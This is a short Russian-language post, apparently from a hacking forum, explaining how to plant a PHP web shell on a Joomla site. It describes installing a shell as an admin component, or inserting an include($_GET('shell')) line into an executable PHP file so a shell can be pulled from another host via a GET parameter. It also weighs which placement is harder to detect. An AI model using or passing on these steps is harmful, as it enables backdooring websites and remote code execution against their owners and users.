есть копонент php shell для джомала где то 57 кб. в админке выбираешь установить компонент и указываешь на предварительно скачанный компонент php шел
я делал так, можно еще через компонент joomla explorer - открываешь любой php файл у которого стоят права на выполнение шела и добавляешь в конец иили в начало строку include($_GET('shell')); после пишешь полный путь к этой страничке м через cmd гет параметр подгружаешь шел с другого хоста, или можешь папку на чтение записиь нацйти и просто тудда шел загрузить, но жто опаснее - так как его можна найти очень легко